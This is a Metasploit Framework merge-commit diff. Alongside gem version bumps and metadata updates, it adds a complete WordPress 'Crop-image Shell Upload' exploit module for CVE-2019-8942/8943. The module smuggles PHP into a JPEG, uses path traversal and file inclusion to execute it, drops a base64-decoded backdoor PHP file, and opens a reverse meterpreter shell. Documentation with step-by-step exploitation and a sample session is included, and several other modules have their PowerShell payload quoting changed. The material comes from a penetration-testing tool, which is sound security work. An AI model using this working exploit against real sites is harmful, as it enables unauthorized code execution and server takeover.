Merge branch 'master' of github.com:ct5595/metasploit-framework into cisco_running_config

master
ct5595 2019-04-08 09:13:55 -04:00
commit 8762bd0842
10 changed files with 577 additions and 17 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (5.0.15)
metasploit-framework (5.0.16)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -113,7 +113,7 @@ GEM
activerecord (>= 3.1.0, < 6)
backports (3.12.0)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.0)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bit-struct (0.16)
builder (3.2.3)
@ -201,7 +201,7 @@ GEM
nexpose (7.2.1)
nokogiri (1.10.2)
mini_portile2 (~> 2.4.0)
octokit (4.13.0)
octokit (4.14.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openvas-omp (0.0.4)
@ -361,7 +361,7 @@ GEM
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.18)
yard (0.9.19)
PLATFORMS
ruby

View File

@ -11,7 +11,7 @@ arel, 6.0.4, MIT
arel-helpers, 2.8.0, MIT
backports, 3.12.0, MIT
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.0, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
@ -44,7 +44,7 @@ loofah, 2.2.3, MIT
metasm, 1.0.3, LGPL
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.3, "New BSD"
metasploit-framework, 5.0.15, "New BSD"
metasploit-framework, 5.0.16, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.65, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.8, "New BSD"
@ -60,7 +60,7 @@ net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.2, MIT
octokit, 4.13.0, MIT
octokit, 4.14.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
@ -133,4 +133,4 @@ warden, 1.2.7, MIT
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.18, MIT
yard, 0.9.19, MIT

View File

@ -66645,6 +66645,53 @@
"notes": {
}
},
"exploit_multi/http/wp_crop_rce": {
"name": "WordPress Crop-image Shell Upload",
"full_name": "exploit/multi/http/wp_crop_rce",
"rank": 600,
"disclosure_date": "2019-02-19",
"type": "exploit",
"author": [
"RIPSTECH Technology",
"Wilfried Becard <wilfried.becard@synacktiv.com>"
],
"description": "This module exploits a path traversal and a local file inclusion\n vulnerability on WordPress versions 5.0.0 and <= 4.9.8.\n The crop-image function allows a user, with at least author privileges,\n to resize an image and perform a path traversal by changing the _wp_attached_file\n reference during the upload. The second part of the exploit will include\n this image in the current theme by changing the _wp_page_template attribute\n when creating a post.\n\n This exploit module only works for Unix-based systems currently.",
"references": [
"CVE-2019-8942",
"CVE-2019-8943",
"URL-https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"WordPress"
],
"mod_time": "2019-04-04 15:19:58 +0000",
"path": "/modules/exploits/multi/http/wp_crop_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/wp_crop_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
}
},
"exploit_multi/http/wp_ninja_forms_unauthenticated_file_upload": {
"name": "WordPress Ninja Forms Unauthenticated File Upload",
"full_name": "exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload",
@ -106938,7 +106985,7 @@
"targets": [
"Windows Powershell"
],
"mod_time": "2018-08-20 18:08:19 +0000",
"mod_time": "2019-03-29 18:14:56 +0000",
"path": "/modules/exploits/windows/http/octopusdeploy_deploy.rb",
"is_install_path": true,
"ref_name": "windows/http/octopusdeploy_deploy",
@ -112871,7 +112918,7 @@
"targets": [
"Automatic"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-03-29 18:14:56 +0000",
"path": "/modules/exploits/windows/local/registry_persistence.rb",
"is_install_path": true,
"ref_name": "windows/local/registry_persistence",
@ -113203,7 +113250,7 @@
"targets": [
"Automatic"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-03-29 18:14:56 +0000",
"path": "/modules/exploits/windows/local/wmi.rb",
"is_install_path": true,
"ref_name": "windows/local/wmi",
@ -122053,7 +122100,7 @@
"DLL",
"PSH"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-03-29 18:14:56 +0000",
"path": "/modules/exploits/windows/smb/smb_delivery.rb",
"is_install_path": true,
"ref_name": "windows/smb/smb_delivery",

View File

@ -0,0 +1,58 @@
On WordPress versions 5.0.0 and <= 4.9.8 it is possible to gain arbitrary code execution via a core vulnerability combining a Path Traversal and a Local File Inclusion.
An attacker who gains access to an account with at least author privileges on the target can execute PHP code on the remote server.
## Exploitation Steps
1. Upload an image containing PHP code
2. Edit the `_wp_attached_file` entry from `meta_input` $_POST array to specify an arbitrary path
3. Perform the Path Traversal by using the `crop-image` Wordpress function
4. Perform the Local File Inclusion by creating a new WordPress post and set `_wp_page_template` value to the cropped image. The post will `include()` our image containing PHP code.
When visiting the post created by the attacker it is possible to obtain code execudion.
More details can be found on [RIPS Technology Blog](https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/).
## Verification Steps
Confirm that functionality works:
1. Start `msfconsole`
2. `use exploit/multi/http/wp_crop_rce`
3. Set the `RHOST`
4. Set `USERNAME` and `PASSWORD`
4. Set `LHOST` and `LPORT`
5. Run the exploit: `run`
6. Confirm you have now a meterpreter session
## Scenarios
### Ubuntu 18.04 running WordPress 4.9.8
```
msf5 > use exploit/multi/http/wp_crop_rce
msf5 exploit(multi/http/wp_crop_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/http/wp_crop_rce) > set username author
username => author
msf5 exploit(multi/http/wp_crop_rce) > set password author
password => author
msf5 exploit(multi/http/wp_crop_rce) > run
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Authenticating with WordPress using author:author...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Checking crop library
[*] Uploading payload
[+] Image uploaded
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38247 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36568) at 2019-03-19 11:33:27 -0400
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter : php/linux
```

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "5.0.15"
VERSION = "5.0.16"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -0,0 +1,455 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Crop-image Shell Upload',
'Description' => %q{
This module exploits a path traversal and a local file inclusion
vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
The crop-image function allows a user, with at least author privileges,
to resize an image and perform a path traversal by changing the _wp_attached_file
reference during the upload. The second part of the exploit will include
this image in the current theme by changing the _wp_page_template attribute
when creating a post.
This exploit module only works for Unix-based systems currently.
},
'License' => MSF_LICENSE,
'Author' =>
[
'RIPSTECH Technology', # Discovery
'Wilfried Becard <wilfried.becard@synacktiv.com>' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-8942' ],
[ 'CVE', '2019-8943' ],
[ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/']
],
'DisclosureDate' => 'Feb 19 2019',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
])
end
def check
cookie = wordpress_login(username, password)
if cookie.nil?
store_valid_credential(user: username, private: password, proof: cookie)
return CheckCode::Safe
end
CheckCode::Appears
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def get_wpnonce(cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
)
if res && res.code == 200 && res.body && !res.body.empty?
res.get_hidden_inputs.first["_wpnonce"]
end
end
def get_wpnonce2(image_id, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => {
'post' => image_id,
'action' => "edit"
}
)
if res && res.code == 200 && res.body && !res.body.empty?
tmp = res.get_hidden_inputs
wpnonce2 = tmp[1].first[1]
end
end
def get_current_theme
uri = normalize_uri(datastore['TARGETURI'])
res = send_request_cgi!(
'method' => 'GET',
'uri' => uri
)
fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?
theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first
fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme
theme
end
def get_ajaxnonce(cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'action' => 'query-attachments',
'post_id' => '0',
'query[item]' => '43',
'query[orderby]' => 'date',
'query[order]' => 'DESC',
'query[posts_per_page]' => '40',
'query[paged]' => '1'
}
)
fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?
a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first
fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce
a_nonce
end
def upload_file(img_name, wp_nonce, cookie)
img_data = %w[
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F
74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00
10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00
3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69
6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D
20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09
08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D
27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06
09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF
C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06
07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1
15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38
39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73
74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4
A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4
D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF
C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06
07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00
01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09
23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37
38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A
73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2
A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2
D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF
DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B
3F 3E
]
img_data = [img_data.join].pack('H*')
img_name += '.jpg'
boundary = "#{rand_text_alphanumeric(rand(10) + 5)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"name\"\r\n"
post_data << "\r\n#{img_name}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"action\"\r\n"
post_data << "\r\nupload-attachment\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"_wpnonce\"\r\n"
post_data << "\r\n#{wp_nonce}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{img_name}\"\r\n"
post_data << "Content-Type: image/jpeg\r\n"
post_data << "\r\n#{img_data}\r\n"
post_data << "--#{boundary}--\r\n"
print_status("Uploading payload")
upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => upload_uri,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'cookie' => cookie
)
fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty?
print_good("Image uploaded")
res = JSON.parse(res.body)
image_id = res["data"]["id"]
update_nonce = res["data"]["nonces"]["update"]
filename = res["data"]["filename"]
return filename, image_id, update_nonce
end
def image_editor(img_name, ajax_nonce, image_id, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'action' => 'image-editor',
'_ajax_nonce' => ajax_nonce,
'postid' => image_id,
'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]',
'target' => 'all',
'context' => '',
'do' => 'save'
}
)
fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?
filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first
fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename
filename << '.jpg'
end
def change_path(wpnonce2, image_id, filename, current_date, path, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'_wpnonce' => wpnonce2,
'action' => 'editpost',
'post_ID' => image_id,
'meta_input[_wp_attached_file]' => "#{current_date}#{filename}#{path}"
}
)
end
def crop_image(image_id, ajax_nonce, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'action' => 'crop-image',
'_ajax_nonce' => ajax_nonce,
'id' => image_id,
'cropDetails[x1]' => 0,
'cropDetails[y1]' => 0,
'cropDetails[width]' => 400,
'cropDetails[height]' => 300,
'cropDetails[dst_width]' => 400,
'cropDetails[dst_height]' => 300
}
)
end
def include_theme(shell_name, cookie)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie
)
if res && res.code == 200 && res.body && !res.body.empty?
wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first
post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first
fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id
post_title = Rex::Text.rand_text_alpha(10)
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'_wpnonce'=> wpnonce2,
'action' => 'editpost',
'post_ID' => post_id,
'post_title' => post_title,
'post_name' => post_title,
'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg"
}
)
fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302
post_id
end
end
def check_for_base64(cookie, post_id)
uri = normalize_uri(datastore['TARGETURI'])
# Test if base64 is on target
test_string = 'YmFzZTY0c3BvdHRlZAo='
res = send_request_cgi!(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => {
'p' => post_id,
'0' => "echo #{test_string} | base64 -d"
}
)
fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?
fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted")
# Execute payload with base64 decode
@backdoor = Rex::Text.rand_text_alpha(10)
encoded = Rex::Text.encode_base64(payload.encoded)
res = send_request_cgi!(
'method' => 'GET',
'uri' => uri,
'cookie' => cookie,
'vars_get' => {
'p' => post_id,
'0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
}
)
fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty?
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"),
'cookie' => cookie
)
end
def wp_cleanup(shell_name, post_id, cookie)
print_status('Attempting to clean up files...')
uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => { 'action' => "query-attachments" }
)
fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty?
infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten
id1, id2, id3 = infos[0], infos[2], infos[4]
delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5]
for i in (0...6).step(2)
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => cookie,
'vars_post' => {
'action' => "delete-post",
'id' => infos[i],
'_wpnonce' => infos[i+1]
}
)
end
uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri1,
'cookie' => cookie
)
if res && res.code == 200 && res.body && !res.body.empty?
post_nonce = res.body.scan(/post=#{post_id}&amp;action=trash&amp;_wpnonce=(\w+)/).flatten.first
fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce
uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri2,
'cookie' => cookie,
'vars_get' => {
'post' => post_id,
'action' => 'trash',
'_wpnonce' => post_nonce
}
)
fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302
res = send_request_cgi(
'method' => 'GET',
'uri' => uri1,
'cookie' => cookie,
'vars_get' => {
'post_status' => "trash",
'post_type' => 'post',
'_wpnonce' => post_nonce
}
)
if res && res.code == 200 && res.body && !res.body.empty?
nonce = res.body.scan(/post=#{post_id}&amp;action=delete&amp;_wpnonce=(\w+)/).flatten.first
fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce
send_request_cgi(
'method' => 'GET',
'uri' => uri2,
'cookie' => cookie,
'vars_get' => {
'post' => post_id,
'action' => 'delete',
'_wpnonce' => nonce
}
)
end
end
end
def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
print_status("Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("Authenticated with WordPress")
store_valid_credential(user: username, private: password, proof: cookie)
print_status("Preparing payload...")
@current_theme = get_current_theme
wp_nonce = get_wpnonce(cookie)
@current_date = Time.now.strftime("%Y/%m/")
img_name = Rex::Text.rand_text_alpha(10)
@filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie)
ajax_nonce = get_ajaxnonce(cookie)
@filename1 = image_editor(img_name, ajax_nonce, image_id, cookie)
wpnonce2 = get_wpnonce2(image_id, cookie)
change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie)
crop_image(image_id, ajax_nonce, cookie)
@shell_name = Rex::Text.rand_text_alpha(10)
change_path(wpnonce2, image_id, @filename1, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie)
crop_image(image_id, ajax_nonce, cookie)
print_status("Including into theme")
post_id = include_theme(@shell_name, cookie)
check_for_base64(cookie, post_id)
wp_cleanup(@shell_name, post_id, cookie)
end
def on_new_session(client)
client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*")
client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg")
client.shell_command_token("rm #{@backdoor}.php")
end
end

View File

@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
# Generate the powershell payload
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true)
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, wrap_double_quotes: true)
step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4))
session = create_octopus_session unless datastore['APIKEY']

View File

@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Local
def generate_payload_blob
opts = {
use_single_quotes: true,
wrap_double_quotes: true,
encode_final_payload: true,
}
blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]

View File

@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Local
else
psh_options = { :remove_comspec => true,
:encode_inner_payload => true,
:use_single_quotes => true }
:wrap_double_quotes => true }
end
psh = cmd_psh_payload(payload.encoded,

View File

@ -65,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote
self.file_contents = cmd_psh_payload( payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true)
wrap_double_quotes: true)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)